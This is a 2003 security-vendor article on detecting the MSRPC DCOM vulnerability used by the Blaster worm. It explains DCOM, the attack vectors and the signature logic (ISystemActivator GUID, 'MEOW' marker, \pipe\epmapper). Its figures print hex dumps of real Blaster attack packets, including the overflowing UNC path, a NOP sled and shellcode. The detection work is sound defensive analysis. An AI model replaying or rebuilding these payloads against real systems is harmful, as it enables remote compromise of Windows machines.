|
|
Blasting "Blaster"-Detecting the MSRPC DCOM holeBy Matt LeGrow, Rapid Response Team
|
|
|
This article will describe the implementation of one of our more complex Rapid Responses to date, the DCOM rapid response. The MSRPC DCOM hole has received quite a bit of press lately as the fundamental transport of the "blaster" worm and has received significant attention from both the media and domestic law enforcement agencies due to its widespread potential for damage.
DCOM - What is it?
DCOM is a distributed form of the Component Object Model (COM) architecture used by Microsoft Windows Operating Systems. COM is technically a platform-independent technology, but in practice it's mostly used by Windows applications. COM is the fundamental glue that helps bind and integrate Windows applications with one another. Roughly and broadly defined, it's a highly structured set of interface definitions and protocol specifications so that function-calling between COM objects, or "components", can take place. You've indirectly used COM, for example - via OLE - when you have seamlessly dropped a table or image created in Excel into a Word document. Distributed COM (DCOM) is simply the network abstraction of COM. With DCOM, components can talk to other components regardless of their location on the local machine, or the network. Some of the UNIX gurus reading this article may notice similarities to Sun RPC, but COM is really much more high-level and structured than RPC. Sun RPC is really just a method of transporting function call information between clients and servers, which is only one part of what COM encompasses. DCOM in fact uses DCE/RPC to handle communications between objects on different networked machines. Note in this article the term MSRPC is used to refer to Microsoft's particular implementation of DCE/RPC.
Providing a comprehensive introduction to COM and DCOM is beyond the scope of this article. Readers are encouraged to review the sources given at the end of the article for further information on the technology.
Background on the DCOM Hole
In mid-July, a Poland-based research group known as Last Stage of Delirium revealed the existence of a devastating flaw in Microsoft's RPC service that could be exploited to execute arbitrary code on a large number of Windows machines. Vulnerable operating systems included NT, 2000, XP, and even Windows Server 2003, with its built-in buffer overflow protection - a large portion of the operating systems both in use by Internet clients and servers all over the world.
The first DCOM hole was discovered on the client side, where supplying arbitrarily large and malformed parameters via the local DCOM API caused a local program crash. The exploit took advantage of a buffer overflow regarding the NetBIOS name portion of a fileshare name. If the NetBIOS name is above 32 bytes in length supplied to the CoGetInstanceFromFile () function, it would cause a crash in RPCSS.EXE and kill the Microsoft RPC service. Eventually LSD made the jump to remotely exploiting the problem by hand crafting DCOM request packets that contained the malformed parameter.
The ubiquity of the hole is really what threw people off guard. Except on some major network servers, Microsoft RPC services are traditionally left running on most Windows systems. This is mostly due - perhaps not unreasonably - to fear and superstition about shutting the service down and what applications might break. Compounding the headache was that there were several different ways to access the Microsoft RPC service and exploit the same flaw:
• TCP and UDP port 135 • SMB (port 139 and 445) via \\pipe\epmapper • On systems where COM Internet services were available, via port 593 and through IIS on port 80 (and whatever other ports IIS happened to be running on)
Throw it all together with exploitable code running on the vast majority of Windows machines on the Internet, and you have the makings of a serious problem.
Developing an Approach The MSRPC DCOM hole was an unusual challenge. Microsoft left many avenues for exploitation and even though RRT had only seen one of them actually implemented, we felt we had to protect for them all somehow - UDP, SMB, and COM for Internet Services (RPC over HTTP). So development of the rapid response eventually involved all of our members at one time or another in some technical capacity.
The first stage of the signature involved looking for direct RPC attacks over TCP port 135, as these were the first exploits to appear publicly. We initially developed a framework to parse out elements of the MSRPC packets that were involved in the exploit and hunt down some of the more static areas of the shellcode. It became quickly apparent that simply looking for shellcode would not be sufficient. As the variants, the string-edited exploits and mass-rooters rolled in, we knew that we were simply looking at the calm before the storm; most major security groups and the media were literally counting out time before the worm.
One of the key aspects that came to us as we examined both the Microsoft examples and exploit traffic was the presence of a particular GUID in all of the suspicious requests. A GUID (Globally Unique ID) is a 128-bit number that provides the operating system the ability to track and uniquely identify the component amongst other components. A typical MSRPC negotiation sequence involves the client first sending a packet which requests to bind to a particular interface that it wishes to use for its subsequent MSRPC calls. This packet contains the GUID that the client wishes to use. In this case the GUID corresponds to the ISystemActivator interface (Figure 1). 14:11:01.583196 10.66.66.250.1772 > 10.66.66.100.135: P 1:73(72) ack 1 win 17520 (DF) 0x0000 4500 0070 1a02 4000 8006 46a4 0a42 42fa [email protected]. 0x0010 0a42 4264 06ec 0087 a309 2173 43e5 88b9 .BBd......!sC... 0x0020 5018 4470 efba 0000 0500 0b03 1000 0000 P.Dp............ 0x0030 4800 0000 7f00 0000 d016 d016 0000 0000 H............... 0x0040 0100 0000 0100 0100 a001 0000 0000 0000 ................ 0x0050 c000 0000 0000 0046 0000 0000 045d 888a .......F.....].. 0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`.... Figure 1. MSRPC Bind Request With ISystemActivator GUID bolded
The particular victim API function CoGetInstanceFromFile (), will use this GUID when invoking an object remotely on the target server. Hunting for this GUID allowed us to narrow down our search somewhat against other types of DCOM traffic.
Another fingerprint is the "MEOW" string. When objects are encoded for network transfer under MSRPC there is always a "MEOW" (Figure 2). This is a four-byte pattern that prefixes any encoded RPC object references that are passed between a client and server. 14:11:01.592941 10.66.66.250.1772 > 10.66.66.100.135: . 73:1533(1460) ack 61 win 17460 (DF) 0x0000 4500 05dc 1a03 4000 8006 4137 0a42 42fa [email protected]. 0x0010 0a42 4264 06ec 0087 a309 21bb 43e5 88f5 .BBd......!.C... 0x0020 5010 4434 1585 0000 0500 0003 1000 0000 P.D4............ 0x0030 a806 0000 e500 0000 9006 0000 0100 0400 ................ 0x0040 0500 0600 0100 0000 0000 0000 3224 58fd ............2$X. 0x0050 cc45 6449 b070 ddae 742c 96d2 605e 0d00 .EdI.p..t,..`^.. 0x0060 0100 0000 0000 0000 705e 0d00 0200 0000 ........p^...... 0x0070 7c5e 0d00 0000 0000 1000 0000 8096 f1f1 |^.............. 0x0080 2a4d ce11 a66a 0020 af6e 72f4 0c00 0000 *M...j...nr..... 0x0090 4d41 5242 0100 0000 0000 0000 0df0 adba MARB............ 0x00a0 0000 0000 a8f4 0b00 2006 0000 2006 0000 ................ 0x00b0 4d45 4f57 0400 0000 a201 0000 0000 0000 MEOW............ 0x00c0 c000 0000 0000 0046 3803 0000 0000 0000 .......F8....... 0x00d0 c000 0000 0000 0046 0000 0000 f005 0000 .......F........ 0x00e0 e805 0000 0000 0000 0110 0800 cccc cccc ................ 0x00f0 c800 0000 4d45 4f57 e805 0000 d800 0000 ....MEOW........ [truncated output] Figure 2. The DCOM attack packet part 1 from the Blaster Worm, the Object Reference (MEOW) bolded
Without even knowing the internal details of the objects encoded in our DCOM request, we knew we could count on seeing two other things in any RPC request that was involved in an attack : A "MEOW" string in our suspicious packet, followed by a UNC (Universal Naming Convention) fileshare designation, or \\<server>\<remotedirname>. The overflow occurs in the server portion of the path. [truncated output] 0x0390 8601 0000 5c00 5c00 4600 5800 4e00 4200 ....\.\.F.X.N.B. 0x03a0 4600 5800 4600 5800 4e00 4200 4600 5800 F.X.F.X.N.B.F.X. 0x03b0 4600 5800 4600 5800 4600 5800 9f75 1800 F.X.F.X.F.X..u.. 0x03c0 cce0 fd7f cce0 fd7f 9090 9090 9090 9090 ................ 0x03d0 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x03e0 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x03f0 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0400 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0410 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0420 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0430 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0440 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0450 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0x0460 9090 9090 9090 9090 9090 9090 9090 90eb ................ 0x0470 195e 31c9 81e9 89ff ffff 8136 80bf 3294 .^1........6..2. 0x0480 81ee fcff ffff e2f2 eb05 e8e2 ffff ff03 ................ 0x0490 5306 1f74 5775 9580 bfbb 927f 895a 1ace S..tWu.......Z.. 0x04a0 b1de 7ce1 be32 9409 f93a 6bb6 d79f 4d85 ..|..2...:k...M. 0x04b0 71da c681 bf32 1dc6 b35a f8ec bf32 fcb3 q....2...Z...2.. 0x04c0 8d1c f0e8 c841 a6df ebcd c288 3674 907f .....A......6t.. 0x04d0 895a e67e 0c24 7cad be32 9409 f922 6bb6 .Z.~.$|..2..."k. 0x04e0 d74c 4c62 ccda 8a81 bf32 1dc6 abcd e284 .LLb.....2...... 0x04f0 d7f9 797c 84da 9a81 bf32 1dc6 a7cd e284 ..y|.....2...... 0x0500 d7eb 9d75 12da 6a80 bf32 1dc6 a3cd e284 ...u..j..2...... 0x0510 d796 8ef0 78da 7a80 bf32 1dc6 9fcd e284 ....x.z..2...... 0x0520 d796 39ae 56da 4a80 bf32 1dc6 9bcd e284 ..9.V.J..2...... 0x0530 d7d7 dd06 f6da 5a80 bf32 1dc6 97cd e284 ......Z..2...... 0x0540 d7d5 ed46 c6da 2a80 bf32 1dc6 9301 6b01 ...F..*..2....k. 0x0550 53a2 9580 bf66 fc81 be32 947f e92a c4d0 S....f...2...*.. 0x0560 ef62 d4d0 ff62 6bd6 a3b9 4cd7 e85a 9680 .b...bk...L..Z.. 0x0570 ae6e 1f4c d524 c5d3 4064 b4d7 eccd c2a4 .n.L.$..@d...... 0x0580 e863 c77f e91a 1f50 d757 ece5 bf5a f7ed .c.....P.W...Z.. 0x0590 db1c 1de6 8fb1 78d4 320e b0b3 7f01 5d03 ......x.2.....]. 0x05a0 7e27 3f62 42f4 d0a4 af76 6ac4 9b0f 1dd4 ~'?bB....vj..... 0x05b0 9b7a 1dd4 9b7e 1dd4 9b62 19c4 9b22 c0d0 .z...~...b...".. 0x05c0 ee63 c5ea be63 c57f c902 c57f e922 1f4c .c...c.......".L 0x05d0 d5cd 6bb1 4064 980b 7765 6bd6 [email protected]. 14:11:01.596174 10.66.66.250.1772 > 10.66.66.100.135: P 1533:1777(244) ack 61 win 17460 (DF) 0x0000 4500 011c 1a04 4000 8006 45f6 0a42 42fa [email protected]. 0x0010 0a42 4264 06ec 0087 a309 276f 43e5 88f5 .BBd......'oC... 0x0020 5018 4434 9443 0000 93cd c294 ea64 f021 P.D4.C.......d.! 0x0030 8f32 9480 3af2 ec8c 3472 980b cf2e 390b .2..:...4r....9. 0x0040 d73a 7f89 3472 a00b 178a 9480 bfb9 51de .:..4r........Q. 0x0050 e2f0 9080 ec67 c2d7 345e b098 3477 a80b .....g..4^..4w.. 0x0060 eb37 ec83 6ab9 de98 3468 b483 62d1 a6c9 .7..j...4h..b... 0x0070 3406 1f83 4a01 6b7c 8cf2 38ba 7b46 9341 4...J.k|..8.{F.A 0x0080 703f 9778 54c0 affc 9b26 e161 3468 b083 p?.xT....&.a4h.. 0x0090 6254 1f8c f4b9 ce9c bcef 1f84 3431 516b bT..........41Qk 0x00a0 bd01 540b 6a6d cadd e4f0 9080 2fa2 0400 ..T.jm....../... 0x00b0 5c00 4300 2400 5c00 3100 3200 3300 3400 \.C.$.\.1.2.3.4. 0x00c0 3500 3600 3100 3100 3100 3100 3100 3100 5.6.1.1.1.1.1.1. 0x00d0 3100 3100 3100 3100 3100 3100 3100 3100 1.1.1.1.1.1.1.1. 0x00e0 3100 2e00 6400 6f00 6300 0000 0110 0800 1...d.o.c....... 0x00f0 cccc cccc 2000 0000 3000 2d00 0000 0000 ........0.-..... 0x0100 882a 0c00 0200 0000 0100 0000 288c 0c00 .*..........(... 0x0110 0100 0000 0700 0000 0000 0000 ............ Figure 3. The trailing portions of DCOM attack packet from the Blaster Worm, with the malformed server name portion bolded. Note the NOOP (0x90) padding at the end of the name around byte 0x03c8, a dead giveaway for imbedded shellcode.Our approach for connection-oriented MSRPC exploitation attempts was to watch the state of the connection and make sure that we were detecting machines that were really at risk and not machines that harmlessly rejected the RPC request. We did this in three steps:
• Watching for an RPC BIND request for a particular GUID ( ISystemActivator ). • Verifying the target machine accepted the BIND request • Looking for suspicious path information in a subsequent request packet.
Since we already had a basic framework for properly identifying MSRPC traffic, we needed to move these checks and apply them over a connection-oriented MSRPC session. This would allow us to more properly track successful exploitation of the worm and not false-positive on garbage services that happened to be running on the same port, or alert on systems that rejected any malformations or unsuccessful transmissions of the attack sequence.
For COM Internet Services (MSRPC over HTTP) we found that the attacker could simply send the packets to the victim machine on TCP port 593, or could pipe the request via port 80 using the RPC_CONNECT method. Either way the packets would be identical to those used in the original form of the attack.
The task differed slightly for UDP. We do not track state of RPC requests over UDP; the stateless nature of the transport makes this difficult to do. We therefore isolated a few of the characteristics of the final payload packet that would have to be present in order for the service to be exploited and ignored the initial bind call for simplicity.
Finally, for SMB we needed to look at named pipes. In this case \pipe\epmapper is used to send requests to RPC. We borrowed a few basic elements from the SMB package to construct a check that looked for accesses to \pipe\epmapper .
All of our efforts and revisions were vindicated when Version 4 of the package - released about four days before Blaster, Nachi and their ilk started exploiting systems on the Internet - successfully caught the worm in the process of exploitation.
After-Effects and Final Thoughts
In at least this particular case, the media and security community hype around this hole - combined with a poor implementation of the original worm - both seemed to have a detrimental effect on its spread and damage. This is the first worm that we have ever observed where the media almost called for its implementation -SecurityFocus.com even went so far as to name the DCOM worm ("mescaline") before it actually ever existed!
Due to the overwhelming media frenzy around the hole many rather unusual steps were taken. In some cases ISPs blocked access to the ports at their external routers, which helped to alleviate the spread. Many more home users seemed aware of the hole and moved to update their systems. In fact, Sobig.32, a by-the-numbers EMail worm, had a much more devastating impact and faster spread on corporate and home users' networks than Blaster. Although the impact of the DCOM hole was much less significant than it could have been, the September 10, 2003 bulletins from Microsoft indicate hackers continue to find and exploit vulnerabilities in DCOM. NFR will continue to develop this package to keep our customers aware.
Sources
|